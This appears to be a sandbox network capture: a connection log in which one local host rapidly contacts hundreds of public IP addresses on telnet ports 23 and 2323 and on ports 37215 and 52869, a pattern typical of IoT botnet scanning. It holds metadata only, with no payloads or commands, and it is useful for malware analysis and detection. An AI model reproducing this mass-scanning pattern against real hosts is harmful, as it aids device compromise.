Oct 6, 2024 20:00:44.483824015 CEST	49160	52869	192.168.2.15	41.107.203.68
Oct 6, 2024 20:00:44.483824968 CEST	49160	52869	192.168.2.15	197.68.4.136
Oct 6, 2024 20:00:44.483825922 CEST	49160	52869	192.168.2.15	197.178.136.135
Oct 6, 2024 20:00:44.483834028 CEST	49160	52869	192.168.2.15	41.196.68.56
Oct 6, 2024 20:00:44.483835936 CEST	49160	52869	192.168.2.15	197.92.29.9
Oct 6, 2024 20:00:44.483844995 CEST	49160	52869	192.168.2.15	41.198.200.207
Oct 6, 2024 20:00:44.483850002 CEST	49160	52869	192.168.2.15	197.88.6.138
Oct 6, 2024 20:00:44.483853102 CEST	49160	52869	192.168.2.15	156.103.165.75
Oct 6, 2024 20:00:44.483855009 CEST	49160	52869	192.168.2.15	41.63.50.171
Oct 6, 2024 20:00:44.483867884 CEST	49160	52869	192.168.2.15	197.242.89.56
Oct 6, 2024 20:00:44.483874083 CEST	49160	52869	192.168.2.15	156.246.204.48
Oct 6, 2024 20:00:44.483874083 CEST	49160	52869	192.168.2.15	41.151.88.181
Oct 6, 2024 20:00:44.483876944 CEST	49160	52869	192.168.2.15	156.215.80.128
Oct 6, 2024 20:00:44.483876944 CEST	49160	52869	192.168.2.15	156.59.9.255
Oct 6, 2024 20:00:44.483880043 CEST	49160	52869	192.168.2.15	156.161.229.78
Oct 6, 2024 20:00:44.483880043 CEST	49160	52869	192.168.2.15	156.245.157.42
Oct 6, 2024 20:00:44.483880043 CEST	49160	52869	192.168.2.15	41.215.3.149
Oct 6, 2024 20:00:44.483901024 CEST	49160	52869	192.168.2.15	197.107.205.146
Oct 6, 2024 20:00:44.483901024 CEST	49160	52869	192.168.2.15	156.114.157.172
Oct 6, 2024 20:00:44.483902931 CEST	49160	52869	192.168.2.15	41.17.92.86
Oct 6, 2024 20:00:44.483905077 CEST	49160	52869	192.168.2.15	41.105.124.82
Oct 6, 2024 20:00:44.483906984 CEST	49160	52869	192.168.2.15	41.232.82.251
Oct 6, 2024 20:00:44.483916044 CEST	49160	52869	192.168.2.15	197.184.229.117
Oct 6, 2024 20:00:44.483916044 CEST	49160	52869	192.168.2.15	156.110.235.230
Oct 6, 2024 20:00:44.483936071 CEST	49160	52869	192.168.2.15	41.253.64.103
Oct 6, 2024 20:00:44.483937025 CEST	49160	52869	192.168.2.15	197.190.162.245
Oct 6, 2024 20:00:44.483942032 CEST	49160	52869	192.168.2.15	156.117.185.93
Oct 6, 2024 20:00:44.483954906 CEST	49160	52869	192.168.2.15	41.165.246.195
Oct 6, 2024 20:00:44.483958006 CEST	49160	52869	192.168.2.15	197.41.206.235
Oct 6, 2024 20:00:44.483959913 CEST	49160	52869	192.168.2.15	41.5.32.158
Oct 6, 2024 20:00:44.483973026 CEST	49160	52869	192.168.2.15	156.187.84.64
Oct 6, 2024 20:00:44.483982086 CEST	49160	52869	192.168.2.15	156.14.68.108
Oct 6, 2024 20:00:44.483984947 CEST	49160	52869	192.168.2.15	197.103.200.0
Oct 6, 2024 20:00:44.483985901 CEST	49160	52869	192.168.2.15	156.116.140.85
Oct 6, 2024 20:00:44.483994007 CEST	49160	52869	192.168.2.15	197.74.172.170
Oct 6, 2024 20:00:44.483997107 CEST	49160	52869	192.168.2.15	197.142.237.32
Oct 6, 2024 20:00:44.483997107 CEST	49160	52869	192.168.2.15	197.70.117.87
Oct 6, 2024 20:00:44.483998060 CEST	49160	52869	192.168.2.15	197.108.1.54
Oct 6, 2024 20:00:44.483998060 CEST	49160	52869	192.168.2.15	197.243.53.202
Oct 6, 2024 20:00:44.483998060 CEST	49160	52869	192.168.2.15	156.243.25.96
Oct 6, 2024 20:00:44.484006882 CEST	49160	52869	192.168.2.15	41.53.206.149
Oct 6, 2024 20:00:44.484009027 CEST	49160	52869	192.168.2.15	156.45.218.116
Oct 6, 2024 20:00:44.484010935 CEST	49160	52869	192.168.2.15	156.234.199.135
Oct 6, 2024 20:00:44.484013081 CEST	49160	52869	192.168.2.15	156.166.171.183
Oct 6, 2024 20:00:44.484013081 CEST	49160	52869	192.168.2.15	197.58.224.127
Oct 6, 2024 20:00:44.484014988 CEST	49160	52869	192.168.2.15	156.129.3.186
Oct 6, 2024 20:00:44.484019041 CEST	49160	52869	192.168.2.15	156.53.105.232
Oct 6, 2024 20:00:44.484020948 CEST	49160	52869	192.168.2.15	41.40.240.173
Oct 6, 2024 20:00:44.484033108 CEST	49160	52869	192.168.2.15	156.59.22.89
Oct 6, 2024 20:00:44.484035015 CEST	49160	52869	192.168.2.15	197.207.199.16
Oct 6, 2024 20:00:44.484049082 CEST	49160	52869	192.168.2.15	41.231.133.233
Oct 6, 2024 20:00:44.484252930 CEST	37215	49416	41.218.74.136	192.168.2.15
Oct 6, 2024 20:00:44.484272003 CEST	37215	49416	41.150.0.113	192.168.2.15
Oct 6, 2024 20:00:44.484286070 CEST	37215	49416	197.240.195.4	192.168.2.15
Oct 6, 2024 20:00:44.484306097 CEST	49416	37215	192.168.2.15	41.218.74.136
Oct 6, 2024 20:00:44.484333038 CEST	49416	37215	192.168.2.15	197.240.195.4
Oct 6, 2024 20:00:44.484333038 CEST	49416	37215	192.168.2.15	41.150.0.113
Oct 6, 2024 20:00:44.484380007 CEST	37215	49416	197.189.46.106	192.168.2.15
Oct 6, 2024 20:00:44.484392881 CEST	37215	49416	41.128.20.63	192.168.2.15
Oct 6, 2024 20:00:44.484405041 CEST	37215	49416	197.192.233.157	192.168.2.15
Oct 6, 2024 20:00:44.484416962 CEST	37215	49416	41.50.215.105	192.168.2.15
Oct 6, 2024 20:00:44.484424114 CEST	49416	37215	192.168.2.15	197.189.46.106
Oct 6, 2024 20:00:44.484430075 CEST	37215	49416	197.41.142.52	192.168.2.15
Oct 6, 2024 20:00:44.484430075 CEST	49416	37215	192.168.2.15	41.128.20.63
Oct 6, 2024 20:00:44.484430075 CEST	49416	37215	192.168.2.15	197.192.233.157
Oct 6, 2024 20:00:44.484443903 CEST	37215	49416	156.147.156.210	192.168.2.15
Oct 6, 2024 20:00:44.484455109 CEST	37215	49416	156.28.135.157	192.168.2.15
Oct 6, 2024 20:00:44.484467030 CEST	37215	49416	156.91.147.218	192.168.2.15
Oct 6, 2024 20:00:44.484479904 CEST	37215	49416	197.107.116.23	192.168.2.15
Oct 6, 2024 20:00:44.484482050 CEST	49416	37215	192.168.2.15	156.147.156.210
Oct 6, 2024 20:00:44.484483004 CEST	49416	37215	192.168.2.15	41.50.215.105
Oct 6, 2024 20:00:44.484483004 CEST	49416	37215	192.168.2.15	197.41.142.52
Oct 6, 2024 20:00:44.484488964 CEST	49416	37215	192.168.2.15	156.28.135.157
Oct 6, 2024 20:00:44.484492064 CEST	37215	49416	197.229.12.237	192.168.2.15
Oct 6, 2024 20:00:44.484498978 CEST	49416	37215	192.168.2.15	156.91.147.218
Oct 6, 2024 20:00:44.484507084 CEST	37215	49416	41.58.165.93	192.168.2.15
Oct 6, 2024 20:00:44.484517097 CEST	49416	37215	192.168.2.15	197.107.116.23
Oct 6, 2024 20:00:44.484519958 CEST	37215	49416	41.61.136.167	192.168.2.15
Oct 6, 2024 20:00:44.484529018 CEST	49416	37215	192.168.2.15	197.229.12.237
Oct 6, 2024 20:00:44.484533072 CEST	37215	49416	156.205.129.99	192.168.2.15
Oct 6, 2024 20:00:44.484545946 CEST	49416	37215	192.168.2.15	41.61.136.167
Oct 6, 2024 20:00:44.484546900 CEST	37215	49416	197.235.232.143	192.168.2.15
Oct 6, 2024 20:00:44.484550953 CEST	49416	37215	192.168.2.15	41.58.165.93
Oct 6, 2024 20:00:44.484560966 CEST	37215	49416	197.164.55.197	192.168.2.15
Oct 6, 2024 20:00:44.484574080 CEST	37215	49416	197.150.169.53	192.168.2.15
Oct 6, 2024 20:00:44.484575033 CEST	49416	37215	192.168.2.15	156.205.129.99
Oct 6, 2024 20:00:44.484584093 CEST	49416	37215	192.168.2.15	197.235.232.143
Oct 6, 2024 20:00:44.484586954 CEST	37215	49416	197.83.37.51	192.168.2.15
Oct 6, 2024 20:00:44.484599113 CEST	37215	49416	41.241.161.251	192.168.2.15
Oct 6, 2024 20:00:44.484600067 CEST	49160	52869	192.168.2.15	156.71.109.45
Oct 6, 2024 20:00:44.484601974 CEST	49416	37215	192.168.2.15	197.164.55.197
Oct 6, 2024 20:00:44.484603882 CEST	49416	37215	192.168.2.15	197.150.169.53
Oct 6, 2024 20:00:44.484608889 CEST	49160	52869	192.168.2.15	197.110.108.128
Oct 6, 2024 20:00:44.484612942 CEST	37215	49416	197.137.68.198	192.168.2.15
Oct 6, 2024 20:00:44.484623909 CEST	49416	37215	192.168.2.15	197.83.37.51
Oct 6, 2024 20:00:44.484627962 CEST	49160	52869	192.168.2.15	197.53.235.21
Oct 6, 2024 20:00:44.484632969 CEST	49160	52869	192.168.2.15	41.166.221.21
Oct 6, 2024 20:00:44.484632969 CEST	49160	52869	192.168.2.15	197.41.46.225
Oct 6, 2024 20:00:44.484632969 CEST	49416	37215	192.168.2.15	41.241.161.251
Oct 6, 2024 20:00:44.484646082 CEST	49416	37215	192.168.2.15	197.137.68.198
Oct 6, 2024 20:00:44.484658957 CEST	49160	52869	192.168.2.15	156.145.44.221
Oct 6, 2024 20:00:44.484666109 CEST	49160	52869	192.168.2.15	197.205.171.2
Oct 6, 2024 20:00:44.484675884 CEST	49160	52869	192.168.2.15	41.188.222.126
Oct 6, 2024 20:00:44.484683990 CEST	49160	52869	192.168.2.15	197.212.200.193
Oct 6, 2024 20:00:44.484684944 CEST	49160	52869	192.168.2.15	41.103.87.249
Oct 6, 2024 20:00:44.484692097 CEST	49160	52869	192.168.2.15	197.103.144.254
Oct 6, 2024 20:00:44.484700918 CEST	49160	52869	192.168.2.15	41.46.3.254
Oct 6, 2024 20:00:44.484704018 CEST	49160	52869	192.168.2.15	41.109.38.200
Oct 6, 2024 20:00:44.484704018 CEST	49160	52869	192.168.2.15	156.139.93.35
Oct 6, 2024 20:00:44.484709978 CEST	49160	52869	192.168.2.15	156.227.186.153
Oct 6, 2024 20:00:44.484716892 CEST	49160	52869	192.168.2.15	197.44.51.246
Oct 6, 2024 20:00:44.484719992 CEST	49160	52869	192.168.2.15	156.27.66.80
Oct 6, 2024 20:00:44.484730959 CEST	49160	52869	192.168.2.15	41.141.95.236
Oct 6, 2024 20:00:44.484730959 CEST	49160	52869	192.168.2.15	156.8.222.125
Oct 6, 2024 20:00:44.484735966 CEST	49160	52869	192.168.2.15	156.57.122.170
Oct 6, 2024 20:00:44.484739065 CEST	49160	52869	192.168.2.15	156.193.21.35
Oct 6, 2024 20:00:44.484740019 CEST	49160	52869	192.168.2.15	156.186.65.15
Oct 6, 2024 20:00:44.484743118 CEST	49160	52869	192.168.2.15	156.83.165.21
Oct 6, 2024 20:00:44.484749079 CEST	49160	52869	192.168.2.15	156.152.104.157
Oct 6, 2024 20:00:44.484750032 CEST	49160	52869	192.168.2.15	41.84.204.133
Oct 6, 2024 20:00:44.484750032 CEST	49160	52869	192.168.2.15	197.11.92.7
Oct 6, 2024 20:00:44.484751940 CEST	49160	52869	192.168.2.15	41.16.232.151
Oct 6, 2024 20:00:44.484759092 CEST	49160	52869	192.168.2.15	156.52.146.188
Oct 6, 2024 20:00:44.484761953 CEST	49160	52869	192.168.2.15	156.48.178.247
Oct 6, 2024 20:00:44.484776974 CEST	49160	52869	192.168.2.15	156.161.192.170
Oct 6, 2024 20:00:44.484783888 CEST	49160	52869	192.168.2.15	156.104.128.97
Oct 6, 2024 20:00:44.484791994 CEST	49160	52869	192.168.2.15	41.37.224.143
Oct 6, 2024 20:00:44.484791994 CEST	49160	52869	192.168.2.15	156.209.143.145
Oct 6, 2024 20:00:44.484807968 CEST	49160	52869	192.168.2.15	197.185.185.223
Oct 6, 2024 20:00:44.484807968 CEST	49160	52869	192.168.2.15	41.117.156.225
Oct 6, 2024 20:00:44.484811068 CEST	49160	52869	192.168.2.15	41.25.249.208
Oct 6, 2024 20:00:44.484822035 CEST	49160	52869	192.168.2.15	156.125.90.117
Oct 6, 2024 20:00:44.484868050 CEST	37215	49416	41.240.79.98	192.168.2.15
Oct 6, 2024 20:00:44.484899998 CEST	37215	49416	197.164.91.95	192.168.2.15
Oct 6, 2024 20:00:44.484910965 CEST	49416	37215	192.168.2.15	41.240.79.98
Oct 6, 2024 20:00:44.484914064 CEST	37215	49416	156.203.1.203	192.168.2.15
Oct 6, 2024 20:00:44.484926939 CEST	37215	49416	156.35.78.115	192.168.2.15
Oct 6, 2024 20:00:44.484942913 CEST	49416	37215	192.168.2.15	197.164.91.95
Oct 6, 2024 20:00:44.484942913 CEST	49416	37215	192.168.2.15	156.203.1.203
Oct 6, 2024 20:00:44.484956980 CEST	37215	49416	156.112.233.104	192.168.2.15
Oct 6, 2024 20:00:44.484962940 CEST	49416	37215	192.168.2.15	156.35.78.115
Oct 6, 2024 20:00:44.484971046 CEST	37215	49416	41.166.51.57	192.168.2.15
Oct 6, 2024 20:00:44.484983921 CEST	37215	49416	156.77.142.2	192.168.2.15
Oct 6, 2024 20:00:44.484994888 CEST	49416	37215	192.168.2.15	41.166.51.57
Oct 6, 2024 20:00:44.484996080 CEST	49416	37215	192.168.2.15	156.112.233.104
Oct 6, 2024 20:00:44.485006094 CEST	37215	49416	197.66.17.119	192.168.2.15
Oct 6, 2024 20:00:44.485019922 CEST	37215	49416	41.52.175.140	192.168.2.15
Oct 6, 2024 20:00:44.485032082 CEST	49416	37215	192.168.2.15	156.77.142.2
Oct 6, 2024 20:00:44.485032082 CEST	37215	49416	41.224.228.252	192.168.2.15
Oct 6, 2024 20:00:44.485042095 CEST	49416	37215	192.168.2.15	197.66.17.119
Oct 6, 2024 20:00:44.485044956 CEST	37215	49416	41.113.206.125	192.168.2.15
Oct 6, 2024 20:00:44.485054016 CEST	49416	37215	192.168.2.15	41.52.175.140
Oct 6, 2024 20:00:44.485058069 CEST	37215	49416	197.164.143.249	192.168.2.15
Oct 6, 2024 20:00:44.485059977 CEST	49416	37215	192.168.2.15	41.224.228.252
Oct 6, 2024 20:00:44.485071898 CEST	37215	49416	156.104.113.198	192.168.2.15
Oct 6, 2024 20:00:44.485078096 CEST	49416	37215	192.168.2.15	41.113.206.125
Oct 6, 2024 20:00:44.485094070 CEST	37215	49416	197.6.95.61	192.168.2.15
Oct 6, 2024 20:00:44.485096931 CEST	49416	37215	192.168.2.15	197.164.143.249
Oct 6, 2024 20:00:44.485106945 CEST	37215	49416	156.189.150.200	192.168.2.15
Oct 6, 2024 20:00:44.485115051 CEST	49416	37215	192.168.2.15	156.104.113.198
Oct 6, 2024 20:00:44.485119104 CEST	37215	49416	41.216.18.137	192.168.2.15
Oct 6, 2024 20:00:44.485131979 CEST	37215	49416	156.209.57.80	192.168.2.15
Oct 6, 2024 20:00:44.485133886 CEST	49416	37215	192.168.2.15	197.6.95.61
Oct 6, 2024 20:00:44.485141993 CEST	49416	37215	192.168.2.15	156.189.150.200
Oct 6, 2024 20:00:44.485143900 CEST	37215	49416	197.233.118.113	192.168.2.15
Oct 6, 2024 20:00:44.485157013 CEST	37215	49416	41.172.241.134	192.168.2.15
Oct 6, 2024 20:00:44.485162020 CEST	49416	37215	192.168.2.15	41.216.18.137
Oct 6, 2024 20:00:44.485174894 CEST	49416	37215	192.168.2.15	156.209.57.80
Oct 6, 2024 20:00:44.485179901 CEST	37215	49416	197.21.179.212	192.168.2.15
Oct 6, 2024 20:00:44.485188007 CEST	49416	37215	192.168.2.15	197.233.118.113
Oct 6, 2024 20:00:44.485188961 CEST	49416	37215	192.168.2.15	41.172.241.134
Oct 6, 2024 20:00:44.485194921 CEST	37215	49416	41.147.247.83	192.168.2.15
Oct 6, 2024 20:00:44.485208035 CEST	37215	49416	156.59.176.98	192.168.2.15
Oct 6, 2024 20:00:44.485213041 CEST	49416	37215	192.168.2.15	197.21.179.212
Oct 6, 2024 20:00:44.485220909 CEST	49416	37215	192.168.2.15	41.147.247.83
Oct 6, 2024 20:00:44.485222101 CEST	37215	49416	156.33.124.178	192.168.2.15
Oct 6, 2024 20:00:44.485234976 CEST	37215	49416	41.216.41.161	192.168.2.15
Oct 6, 2024 20:00:44.485239983 CEST	49416	37215	192.168.2.15	156.59.176.98
Oct 6, 2024 20:00:44.485246897 CEST	37215	49416	197.103.184.79	192.168.2.15
Oct 6, 2024 20:00:44.485253096 CEST	49416	37215	192.168.2.15	156.33.124.178
Oct 6, 2024 20:00:44.485260010 CEST	37215	49416	156.171.125.229	192.168.2.15
Oct 6, 2024 20:00:44.485268116 CEST	49416	37215	192.168.2.15	41.216.41.161
Oct 6, 2024 20:00:44.485272884 CEST	37215	49416	197.23.127.152	192.168.2.15
Oct 6, 2024 20:00:44.485279083 CEST	49416	37215	192.168.2.15	197.103.184.79
Oct 6, 2024 20:00:44.485285997 CEST	37215	49416	41.138.115.205	192.168.2.15
Oct 6, 2024 20:00:44.485290051 CEST	49416	37215	192.168.2.15	156.171.125.229
Oct 6, 2024 20:00:44.485299110 CEST	49416	37215	192.168.2.15	197.23.127.152
Oct 6, 2024 20:00:44.485326052 CEST	49416	37215	192.168.2.15	41.138.115.205
Oct 6, 2024 20:00:44.485662937 CEST	37215	49416	156.140.244.109	192.168.2.15
Oct 6, 2024 20:00:44.485676050 CEST	37215	49416	156.169.96.48	192.168.2.15
Oct 6, 2024 20:00:44.485688925 CEST	49416	37215	192.168.2.15	156.140.244.109
Oct 6, 2024 20:00:44.485697985 CEST	37215	49416	197.158.249.73	192.168.2.15
Oct 6, 2024 20:00:44.485712051 CEST	37215	49416	197.30.226.169	192.168.2.15
Oct 6, 2024 20:00:44.485713005 CEST	49416	37215	192.168.2.15	156.169.96.48
Oct 6, 2024 20:00:44.485724926 CEST	37215	49416	197.252.154.175	192.168.2.15
Oct 6, 2024 20:00:44.485738039 CEST	49416	37215	192.168.2.15	197.30.226.169
Oct 6, 2024 20:00:44.485738993 CEST	37215	49416	156.87.207.127	192.168.2.15
Oct 6, 2024 20:00:44.485739946 CEST	49416	37215	192.168.2.15	197.158.249.73
Oct 6, 2024 20:00:44.485758066 CEST	49416	37215	192.168.2.15	197.252.154.175
Oct 6, 2024 20:00:44.485759974 CEST	37215	49416	197.36.180.150	192.168.2.15
Oct 6, 2024 20:00:44.485769033 CEST	49416	37215	192.168.2.15	156.87.207.127
Oct 6, 2024 20:00:44.485774040 CEST	37215	49416	197.163.24.101	192.168.2.15
Oct 6, 2024 20:00:44.485788107 CEST	37215	49416	197.173.47.28	192.168.2.15
Oct 6, 2024 20:00:44.485789061 CEST	49416	37215	192.168.2.15	197.36.180.150
Oct 6, 2024 20:00:44.485800028 CEST	37215	49416	197.89.171.150	192.168.2.15
Oct 6, 2024 20:00:44.485807896 CEST	49416	37215	192.168.2.15	197.163.24.101
Oct 6, 2024 20:00:44.485812902 CEST	37215	49416	41.86.8.174	192.168.2.15
Oct 6, 2024 20:00:44.485824108 CEST	49416	37215	192.168.2.15	197.173.47.28
Oct 6, 2024 20:00:44.485826015 CEST	37215	49416	41.68.38.42	192.168.2.15
Oct 6, 2024 20:00:44.485831976 CEST	49416	37215	192.168.2.15	197.89.171.150
Oct 6, 2024 20:00:44.485850096 CEST	37215	49416	197.177.137.165	192.168.2.15
Oct 6, 2024 20:00:44.485851049 CEST	49416	37215	192.168.2.15	41.86.8.174
Oct 6, 2024 20:00:44.485862017 CEST	37215	49416	197.104.12.72	192.168.2.15
Oct 6, 2024 20:00:44.485862970 CEST	49416	37215	192.168.2.15	41.68.38.42
Oct 6, 2024 20:00:44.485876083 CEST	37215	49416	197.184.245.173	192.168.2.15
Oct 6, 2024 20:00:44.485882998 CEST	49416	37215	192.168.2.15	197.177.137.165
Oct 6, 2024 20:00:44.485888958 CEST	37215	49416	41.196.72.88	192.168.2.15
Oct 6, 2024 20:00:44.485902071 CEST	37215	49416	197.248.57.110	192.168.2.15
Oct 6, 2024 20:00:44.485904932 CEST	49416	37215	192.168.2.15	197.104.12.72
Oct 6, 2024 20:00:44.485904932 CEST	49416	37215	192.168.2.15	197.184.245.173
Oct 6, 2024 20:00:44.485913992 CEST	37215	49416	156.246.99.143	192.168.2.15
Oct 6, 2024 20:00:44.485922098 CEST	49416	37215	192.168.2.15	41.196.72.88
Oct 6, 2024 20:00:44.485929966 CEST	37215	49416	41.120.65.207	192.168.2.15
Oct 6, 2024 20:00:44.485933065 CEST	49416	37215	192.168.2.15	197.248.57.110
Oct 6, 2024 20:00:44.485941887 CEST	37215	49416	41.135.148.77	192.168.2.15
Oct 6, 2024 20:00:44.485941887 CEST	49416	37215	192.168.2.15	156.246.99.143
Oct 6, 2024 20:00:44.485959053 CEST	37215	49416	41.117.90.99	192.168.2.15
Oct 6, 2024 20:00:44.485969067 CEST	49416	37215	192.168.2.15	41.120.65.207
Oct 6, 2024 20:00:44.485969067 CEST	49416	37215	192.168.2.15	41.135.148.77
Oct 6, 2024 20:00:44.485982895 CEST	37215	49416	197.63.163.35	192.168.2.15
Oct 6, 2024 20:00:44.485995054 CEST	37215	49416	41.52.161.212	192.168.2.15
Oct 6, 2024 20:00:44.486000061 CEST	49416	37215	192.168.2.15	41.117.90.99
Oct 6, 2024 20:00:44.486007929 CEST	37215	49416	41.10.114.12	192.168.2.15
Oct 6, 2024 20:00:44.486017942 CEST	49416	37215	192.168.2.15	197.63.163.35
Oct 6, 2024 20:00:44.486020088 CEST	37215	49416	197.251.92.146	192.168.2.15
Oct 6, 2024 20:00:44.486023903 CEST	49416	37215	192.168.2.15	41.52.161.212
Oct 6, 2024 20:00:44.486032963 CEST	37215	49416	197.247.139.132	192.168.2.15
Oct 6, 2024 20:00:44.486036062 CEST	49416	37215	192.168.2.15	41.10.114.12
Oct 6, 2024 20:00:44.486046076 CEST	37215	49416	41.42.204.129	192.168.2.15
Oct 6, 2024 20:00:44.486049891 CEST	49416	37215	192.168.2.15	197.251.92.146
Oct 6, 2024 20:00:44.486057997 CEST	37215	49416	41.26.146.231	192.168.2.15
Oct 6, 2024 20:00:44.486072063 CEST	49416	37215	192.168.2.15	197.247.139.132
Oct 6, 2024 20:00:44.486072063 CEST	49416	37215	192.168.2.15	41.42.204.129
Oct 6, 2024 20:00:44.486087084 CEST	49416	37215	192.168.2.15	41.26.146.231
Oct 6, 2024 20:00:44.486287117 CEST	50952	2323	192.168.2.15	48.143.191.136
Oct 6, 2024 20:00:44.486287117 CEST	50952	23	192.168.2.15	217.6.241.113
Oct 6, 2024 20:00:44.486293077 CEST	50952	23	192.168.2.15	115.207.14.113
Oct 6, 2024 20:00:44.486304998 CEST	50952	23	192.168.2.15	45.79.249.112
Oct 6, 2024 20:00:44.486313105 CEST	50952	23	192.168.2.15	186.34.221.108
Oct 6, 2024 20:00:44.486325026 CEST	50952	23	192.168.2.15	151.50.248.118
Oct 6, 2024 20:00:44.486340046 CEST	50952	23	192.168.2.15	37.133.72.164
Oct 6, 2024 20:00:44.486355066 CEST	50952	23	192.168.2.15	118.216.220.43
Oct 6, 2024 20:00:44.486355066 CEST	50952	23	192.168.2.15	13.147.78.53
Oct 6, 2024 20:00:44.486361027 CEST	50952	23	192.168.2.15	164.9.12.154
Oct 6, 2024 20:00:44.486366034 CEST	50952	2323	192.168.2.15	200.214.112.87
Oct 6, 2024 20:00:44.486381054 CEST	50952	23	192.168.2.15	74.146.75.74
Oct 6, 2024 20:00:44.486382961 CEST	50952	23	192.168.2.15	63.6.93.178
Oct 6, 2024 20:00:44.486387014 CEST	50952	23	192.168.2.15	70.195.221.107
Oct 6, 2024 20:00:44.486396074 CEST	50952	23	192.168.2.15	45.41.184.0
Oct 6, 2024 20:00:44.486398935 CEST	50952	23	192.168.2.15	194.193.199.238
Oct 6, 2024 20:00:44.486408949 CEST	50952	23	192.168.2.15	70.248.172.128
Oct 6, 2024 20:00:44.486408949 CEST	50952	23	192.168.2.15	18.109.180.20
Oct 6, 2024 20:00:44.486413956 CEST	50952	23	192.168.2.15	145.172.167.226
Oct 6, 2024 20:00:44.486418962 CEST	50952	23	192.168.2.15	142.10.210.12
Oct 6, 2024 20:00:44.486435890 CEST	50952	23	192.168.2.15	212.54.19.50
Oct 6, 2024 20:00:44.486438036 CEST	50952	2323	192.168.2.15	44.156.92.16
Oct 6, 2024 20:00:44.486438036 CEST	50952	23	192.168.2.15	27.242.125.64
Oct 6, 2024 20:00:44.486444950 CEST	50952	23	192.168.2.15	141.124.156.84
Oct 6, 2024 20:00:44.486454010 CEST	50952	23	192.168.2.15	194.220.175.135
Oct 6, 2024 20:00:44.486469030 CEST	37215	49416	197.133.246.15	192.168.2.15
Oct 6, 2024 20:00:44.486469984 CEST	50952	23	192.168.2.15	105.76.7.232
Oct 6, 2024 20:00:44.486470938 CEST	50952	23	192.168.2.15	196.198.87.112
Oct 6, 2024 20:00:44.486483097 CEST	37215	49416	156.149.6.181	192.168.2.15
Oct 6, 2024 20:00:44.486485958 CEST	50952	23	192.168.2.15	125.21.177.151
Oct 6, 2024 20:00:44.486486912 CEST	50952	23	192.168.2.15	183.75.34.59
Oct 6, 2024 20:00:44.486490011 CEST	50952	23	192.168.2.15	37.28.73.148
Oct 6, 2024 20:00:44.486490011 CEST	50952	2323	192.168.2.15	86.53.56.229
Oct 6, 2024 20:00:44.486496925 CEST	50952	23	192.168.2.15	42.40.135.32
Oct 6, 2024 20:00:44.486500025 CEST	37215	49416	41.163.209.214	192.168.2.15
Oct 6, 2024 20:00:44.486506939 CEST	50952	23	192.168.2.15	60.154.18.81
Oct 6, 2024 20:00:44.486510038 CEST	50952	23	192.168.2.15	197.213.82.88
Oct 6, 2024 20:00:44.486510038 CEST	50952	23	192.168.2.15	73.133.242.197
Oct 6, 2024 20:00:44.486510038 CEST	50952	23	192.168.2.15	74.87.37.242
Oct 6, 2024 20:00:44.486511946 CEST	50952	23	192.168.2.15	69.96.7.181
Oct 6, 2024 20:00:44.486512899 CEST	37215	49416	197.164.25.106	192.168.2.15
Oct 6, 2024 20:00:44.486515999 CEST	50952	23	192.168.2.15	20.37.253.235
Oct 6, 2024 20:00:44.486516953 CEST	50952	23	192.168.2.15	100.195.124.214
Oct 6, 2024 20:00:44.486524105 CEST	50952	23	192.168.2.15	66.168.151.110
Oct 6, 2024 20:00:44.486529112 CEST	49416	37215	192.168.2.15	197.133.246.15
Oct 6, 2024 20:00:44.486529112 CEST	50952	23	192.168.2.15	96.216.206.239
Oct 6, 2024 20:00:44.486529112 CEST	50952	23	192.168.2.15	196.106.7.24
Oct 6, 2024 20:00:44.486535072 CEST	50952	23	192.168.2.15	222.205.246.61
Oct 6, 2024 20:00:44.486535072 CEST	49416	37215	192.168.2.15	156.149.6.181
Oct 6, 2024 20:00:44.486536026 CEST	37215	49416	156.242.29.171	192.168.2.15
Oct 6, 2024 20:00:44.486541033 CEST	50952	23	192.168.2.15	93.98.245.47
Oct 6, 2024 20:00:44.486542940 CEST	50952	23	192.168.2.15	207.228.59.145
Oct 6, 2024 20:00:44.486542940 CEST	50952	23	192.168.2.15	177.218.64.29
Oct 6, 2024 20:00:44.486545086 CEST	50952	23	192.168.2.15	211.133.181.253
Oct 6, 2024 20:00:44.486546040 CEST	50952	23	192.168.2.15	48.54.126.29
Oct 6, 2024 20:00:44.486546040 CEST	50952	2323	192.168.2.15	38.177.98.49
Oct 6, 2024 20:00:44.486546040 CEST	50952	23	192.168.2.15	24.25.78.15
Oct 6, 2024 20:00:44.486550093 CEST	37215	49416	156.252.170.108	192.168.2.15
Oct 6, 2024 20:00:44.486556053 CEST	50952	23	192.168.2.15	202.179.45.3
Oct 6, 2024 20:00:44.486562014 CEST	37215	49416	156.80.69.183	192.168.2.15
Oct 6, 2024 20:00:44.486565113 CEST	50952	23	192.168.2.15	219.168.22.83
Oct 6, 2024 20:00:44.486565113 CEST	50952	2323	192.168.2.15	126.27.243.44
Oct 6, 2024 20:00:44.486567020 CEST	50952	23	192.168.2.15	113.93.85.191
Oct 6, 2024 20:00:44.486567020 CEST	50952	23	192.168.2.15	108.76.126.125
Oct 6, 2024 20:00:44.486567020 CEST	49416	37215	192.168.2.15	197.164.25.106
Oct 6, 2024 20:00:44.486568928 CEST	50952	23	192.168.2.15	172.168.119.174
Oct 6, 2024 20:00:44.486572981 CEST	50952	23	192.168.2.15	203.32.117.211
Oct 6, 2024 20:00:44.486571074 CEST	50952	2323	192.168.2.15	134.240.248.138
Oct 6, 2024 20:00:44.486571074 CEST	50952	23	192.168.2.15	107.63.86.139
Oct 6, 2024 20:00:44.486571074 CEST	50952	23	192.168.2.15	44.255.36.80
Oct 6, 2024 20:00:44.486574888 CEST	37215	49416	41.17.121.18	192.168.2.15
Oct 6, 2024 20:00:44.486571074 CEST	49416	37215	192.168.2.15	41.163.209.214
Oct 6, 2024 20:00:44.486574888 CEST	50952	23	192.168.2.15	130.245.150.155
Oct 6, 2024 20:00:44.486571074 CEST	49416	37215	192.168.2.15	156.242.29.171
Oct 6, 2024 20:00:44.486574888 CEST	49416	37215	192.168.2.15	156.252.170.108
Oct 6, 2024 20:00:44.486579895 CEST	50952	23	192.168.2.15	93.137.195.133
Oct 6, 2024 20:00:44.486579895 CEST	50952	23	192.168.2.15	48.249.215.24
Oct 6, 2024 20:00:44.486597061 CEST	50952	23	192.168.2.15	39.19.191.66
Oct 6, 2024 20:00:44.486598015 CEST	50952	23	192.168.2.15	82.192.97.224
Oct 6, 2024 20:00:44.486598015 CEST	49416	37215	192.168.2.15	156.80.69.183
Oct 6, 2024 20:00:44.486599922 CEST	50952	23	192.168.2.15	70.104.198.4
Oct 6, 2024 20:00:44.486602068 CEST	37215	49416	156.42.236.52	192.168.2.15
Oct 6, 2024 20:00:44.486609936 CEST	49416	37215	192.168.2.15	41.17.121.18
